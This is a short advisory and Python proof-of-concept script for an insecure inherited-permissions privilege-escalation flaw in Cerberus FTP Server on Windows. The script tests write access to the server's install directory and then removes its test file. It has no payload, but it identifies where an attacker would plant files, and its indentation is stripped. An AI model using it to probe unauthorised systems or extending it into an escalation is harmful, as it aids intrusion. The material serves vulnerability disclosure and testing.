Insecure preserved inherited permissions vulnerability in Cerberus FTP Server on Windows allows Privilege Escalation.This issue has been resolved in Cerberus FTP Server: 2026.1
The following code is for security research and authorized testing only.
python
# Proof of Concept (POC) for CVE-2026-6265
# This script checks if the current user has write access to the Cerberus FTP Server installation directory.
# If write access is granted due to insecure inherited permissions, privilege escalation is possible.
import os
import sys
def check_vulnerability():
# Common installation path for Cerberus FTP Server
target_path = r"C:\Program Files\Cerberus LLC\Cerberus FTP Server"
print(f"[*] Checking permissions on: {target_path}")
if not os.path.exists(target_path):
print("[-] Target directory not found. Cerberus FTP Server might not be installed or path is different.")
return
test_file = os.path.join(target_path, "poc_test_file.txt")
try:
# Attempt to create a file in the protected directory
with open(test_file, 'w') as f:
f.write("Vulnerability Confirmed: Write access allowed.")
print(f"[+] SUCCESS: Write access confirmed at {target_path}")
print("[!] This indicates a potential Privilege Escalation vulnerability (CVE-2026-6265).")
# Cleanup
os.remove(test_file)
print("[*] Cleanup successful.")
except PermissionError:
print("[-] FAILED: Permission denied. The directory appears to be secure.")
except Exception as e:
print(f"[-] ERROR: An unexpected error occurred: {e}")
if __name__ == "__main__":
check_vulnerability()